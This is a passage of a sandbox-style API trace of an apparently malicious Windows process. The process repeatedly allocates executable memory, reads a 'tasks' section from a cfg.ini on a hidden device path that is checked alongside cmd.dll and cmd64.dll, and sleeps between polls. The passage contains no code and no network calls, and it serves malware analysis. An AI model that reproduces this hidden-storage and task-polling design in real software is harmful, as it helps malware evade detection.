_Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.368] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.368] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf4ad0 [0126.368] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.368] KeLeaveCriticalRegion () [0126.368] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.368] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.368] KeEnterCriticalRegion () [0126.368] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.368] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.368] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.368] KeLeaveCriticalRegion () [0126.368] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.368] KeEnterCriticalRegion () [0126.368] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.368] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.368] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.368] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.368] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.368] IdePortDispatch () returned 0x103 [0126.368] KeWaitForMutexObject () returned 0x0 [0126.368] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.368] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.368] KeLeaveCriticalRegion () [0126.368] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.368] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.368] KeEnterCriticalRegion () [0126.369] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.369] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800347e000 [0126.369] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.369] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.369] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.369] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.369] IdePortDispatch () returned 0x103 [0126.369] KeWaitForMutexObject () returned 0x0 [0126.369] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.369] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.369] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.369] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.369] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.369] IdePortDispatch () returned 0x103 [0126.369] KeWaitForMutexObject () returned 0x0 [0126.369] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.369] KeLeaveCriticalRegion () [0126.369] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.370] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.370] KeEnterCriticalRegion () [0126.370] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.370] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.370] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.370] KeLeaveCriticalRegion () [0126.370] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.370] KeEnterCriticalRegion () [0126.370] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.370] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.370] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4b90, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.370] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.370] KeLeaveCriticalRegion () [0126.370] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.370] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.370] KeEnterCriticalRegion () [0126.370] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.370] ExFreePoolWithTag (P=0xfffffa8003bf4ad0, Tag=0x0) [0126.370] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.370] KeLeaveCriticalRegion () [0126.370] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.370] ReleaseMutex (hMutex=0xf0) returned 1 [0126.370] Sleep (dwMilliseconds=0x927c0) [0126.384] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.384] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.384] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.384] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.384] KeEnterCriticalRegion () [0126.384] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.384] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.384] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.384] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.384] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.384] IdePortDispatch () returned 0x103 [0126.384] KeWaitForMutexObject () returned 0x0 [0126.384] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.384] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.384] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.384] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.384] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.384] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ec1d0 [0126.384] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.384] KeLeaveCriticalRegion () [0126.384] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.384] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.384] KeEnterCriticalRegion () [0126.384] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.384] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.384] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.384] KeLeaveCriticalRegion () [0126.384] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.384] KeEnterCriticalRegion () [0126.384] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.385] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.385] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.385] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.385] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.385] IdePortDispatch () returned 0x103 [0126.385] KeWaitForMutexObject () returned 0x0 [0126.385] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.385] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.385] KeLeaveCriticalRegion () [0126.385] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.385] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.385] KeEnterCriticalRegion () [0126.385] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.385] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003488000 [0126.385] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.385] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.385] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.385] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.385] IdePortDispatch () returned 0x103 [0126.385] KeWaitForMutexObject () returned 0x0 [0126.385] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.385] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.385] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.385] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.385] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.385] IdePortDispatch () returned 0x103 [0126.385] KeWaitForMutexObject () returned 0x0 [0126.386] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.386] KeLeaveCriticalRegion () [0126.386] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.386] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.386] KeEnterCriticalRegion () [0126.386] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.386] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.386] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.386] KeLeaveCriticalRegion () [0126.386] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.386] KeEnterCriticalRegion () [0126.386] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.386] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.386] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfaca0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.386] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.386] KeLeaveCriticalRegion () [0126.386] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.386] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.386] KeEnterCriticalRegion () [0126.386] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.386] ExFreePoolWithTag (P=0xfffffa80037ec1d0, Tag=0x0) [0126.386] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.386] KeLeaveCriticalRegion () [0126.386] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.387] ReleaseMutex (hMutex=0xf0) returned 1 [0126.387] Sleep (dwMilliseconds=0x927c0) [0126.401] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.401] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.401] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.401] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.401] KeEnterCriticalRegion () [0126.401] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.401] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.401] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.402] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.402] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.402] IdePortDispatch () returned 0x103 [0126.402] KeWaitForMutexObject () returned 0x0 [0126.402] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.402] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.402] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.402] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.402] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.402] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfa360 [0126.402] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.402] KeLeaveCriticalRegion () [0126.402] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.402] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.402] KeEnterCriticalRegion () [0126.402] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.402] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.402] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.402] KeLeaveCriticalRegion () [0126.402] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.402] KeEnterCriticalRegion () [0126.402] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.402] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.402] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.402] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.402] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.402] IdePortDispatch () returned 0x103 [0126.402] KeWaitForMutexObject () returned 0x0 [0126.402] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.402] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.402] KeLeaveCriticalRegion () [0126.403] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.403] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.403] KeEnterCriticalRegion () [0126.403] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.403] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800348d000 [0126.403] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.403] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.403] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.403] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.403] IdePortDispatch () returned 0x103 [0126.403] KeWaitForMutexObject () returned 0x0 [0126.403] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.403] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.403] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0126.403] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.403] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.403] IdePortDispatch () returned 0x103 [0126.403] KeWaitForMutexObject () returned 0x0 [0126.403] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.403] KeLeaveCriticalRegion () [0126.403] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.404] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.404] KeEnterCriticalRegion () [0126.404] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.404] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.404] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.404] KeLeaveCriticalRegion () [0126.404] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.404] KeEnterCriticalRegion () [0126.404] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.404] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0126.404] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e13a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.404] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.404] KeLeaveCriticalRegion () [0126.404] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.404] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.404] KeEnterCriticalRegion () [0126.404] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.404] ExFreePoolWithTag (P=0xfffffa8003bfa360, Tag=0x0) [0126.404] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.404] KeLeaveCriticalRegion () [0126.404] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.404] ReleaseMutex (hMutex=0xf0) returned 1 [0126.404] Sleep (dwMilliseconds=0x927c0) [0126.420] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.420] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.420] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.421] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.421] KeEnterCriticalRegion () [0126.421] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.421] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.421] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.421] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.421] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.421] IdePortDispatch () returned 0x103 [0126.421] KeWaitForMutexObject () returned 0x0 [0126.421] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.421] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.421] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.421] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.421] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.421] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ac72d0 [0126.421] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.421] KeLeaveCriticalRegion () [0126.421] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.421] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.421] KeEnterCriticalRegion () [0126.421] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.421] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0126.421] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.421] KeLeaveCriticalRegion () [0126.421] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.421] KeEnterCriticalRegion () [0126.421] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.421] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0126.421] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0126.421] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.421] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.421] IdePortDispatch () returned 0x103 [0126.421] KeWaitForMutexObject () returned 0x0 [0126.422] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.422] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.422] KeLeaveCriticalRegion () [0126.422] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0126.422] _snprintf (in: 